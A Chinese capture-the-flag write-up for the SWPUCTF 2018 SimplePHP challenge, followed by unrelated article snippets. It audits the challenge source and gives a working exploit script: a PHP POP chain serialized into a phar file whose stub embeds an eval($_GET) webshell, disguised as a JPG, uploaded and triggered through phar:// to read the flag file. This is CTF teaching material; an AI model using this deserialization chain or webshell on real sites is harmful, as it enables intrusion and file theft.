[SWPUCTF 2018]SimplePHP1

news/2024/5/19 22:54:50 标签: 安全, ctf, 网络安全, web安全

打开环境

有查看文件跟上传文件,查看文件里面显示没有文件url貌似可以文件读取

上传文件里面可以上传文件。

先看一下可不可以文件读取

/etc/passwd不能读取,源码提示flag在f1ag.php

看看能不能读取当前的文件,

        

先把代码摘下来

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

funcion.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

审计一下

由于设置了ini_set('open_basedir','/var/www/html/'); 

所以只能读取/var/www/html目录

看一下function.php

只能上传后缀为gif.jpeg,jpg,png

好像绕不过去

看一下class.php

有file_get_contents()是不是可以通过构造pop链,实现读取f1ag.php呢

这里暗示用phar反序列化

正好file.ph里面有个file_exists()函数可以出发phar反序列化

分析一下链

file_get函数由get触发,get由__get触发,当指向类中不存在的变量时候可以出发__get魔法函数

看一下参数,$value由params[$key]得到,$key由出发__get函数时传入,可以控制params和key使得$value=f1ag.php

看一下如何出发__get

在Show里面

如果令str['str']=new Test()就会出发Test里面的__get

然后看如何出发_toString

C1e4r里面的echo正好可以出发toString

脚本如下

<?php
class C1e4r{
	public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}

class Test
{
    public $file;
    public $params;
}

$a = new Test();
$a->params['source'] ='/var/www/html/f1ag.php';

$b = new Show();
$b->str['str']=$a;

$c = new C1e4r();
$c->str = $b;


@unlink("phar.phar");
$phar = new Phar('phar.phar'); //后缀名必须为phar
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php echo 1;eval($_GET["Smi1e"]);?>'.'<?php __HALT_COMPILER();?>');
$phar -> setMetadata($c); //将自定义的meta-data存入manifest
$phar -> addFromString('test.txt','test');//添加要压缩的文件
$phar -> stopBuffering();   //签名自动计算

生成的exp.phar改成.jpg结尾之后上传

然后访问file=phar://upload/文件名即可拿到flag

md,我这里phar.readonly明明改成Off还是生成不了phar文件,无语死了。


http://www.niftyadmin.cn/n/5348877.html

相关文章

(大众金融)SQL server面试题(1)-总销售量最少的3个型号的车及其总销售量

今天&#xff0c;面试了一家公司&#xff0c;什么也不说先来三道面试题做做&#xff0c;第一题。 那么&#xff0c;我们就开始做题吧&#xff0c;谁叫我们是打工人呢。 题目是这样的&#xff1a; 统计除豪车外&#xff0c;销售最差的车 车辆按批销售&#xff0c;每次销售若干…

Java设计模式-外观模式(11)

大家好,我是馆长!今天开始我们讲的是结构型模式中的外观模式。老规矩,讲解之前再次熟悉下结构型模式包含:代理模式、适配器模式、桥接模式、装饰器模式、外观模式、享元模式、组合模式,共7种设计模式。。 外观模式(Decorator Pattern) 定义 外观(Facade)模式一种通…

Azure Front Door health probe 的source IP地址范围是什么?

Azure Front Door 对orgin进行健康检测&#xff0c;通过http或https端口检测orgin是否健康。 Azure Front Door 只接受http response code 200为健康状态&#xff0c;其余response code均为不健康。 有些用户的heatlh probe response code 为403&#xff0c;会有多重情况造成…

【计算机二级考试C语言】C强制类型转换

C 强制类型转换 强制类型转换是把变量从一种类型转换为另一种数据类型。例如&#xff0c;如果您想存储一个 long 类型的值到一个简单的整型中&#xff0c;您需要把 long 类型强制转换为 int 类型。您可以使用强制类型转换运算符来把值显式地从一种类型转换为另一种类型&#x…

极限【高数笔记】

【分类】分为了两大类&#xff0c;一个是数列的极限&#xff0c;一个是函数的极限 【数列的极限】 1.定义&#xff1a; 简单来讲&#xff0c;就是&#xff0c;当n无限趋近于无穷时&#xff0c;数列{an}无限趋近一个常数A&#xff0c;此时&#xff0c;常数A就是它们此时情况下的…

huggingface高速下载模型的实战代码

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于机器学习算法研究与应用。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。拥有多项发明专利。对机器学习和深度学习拥有自己独到的见解。曾经辅导过若干个非计算机专业的学生进入到算法…

VOD-SLAM 复现 AirDos 复现

VOD-SLAM 复现 参考&#xff1a;https://www.mianshigee.com/project/halajun-VDO_SLAM/ 下载&#xff1a; git clone https://github.com/halajun/VDO_SLAM.git VDO-SLAMCSparse 库安装 sudo apt-get install libsuitesparse-dev解决&#xff1a;fatal error: opencv2/xfea…

C++迭代器模拟实现及理解

个人主页&#xff1a;Lei宝啊 愿所有美好如期而遇 迭代器理解&#xff1a; string和vector容器&#xff0c;他们底层的物理空间是连续的&#xff0c;所以他们的迭代器可以使用原生指针&#xff0c;char*&#xff0c;模板T*&#xff0c;但是list&#xff0c;map等容器&#…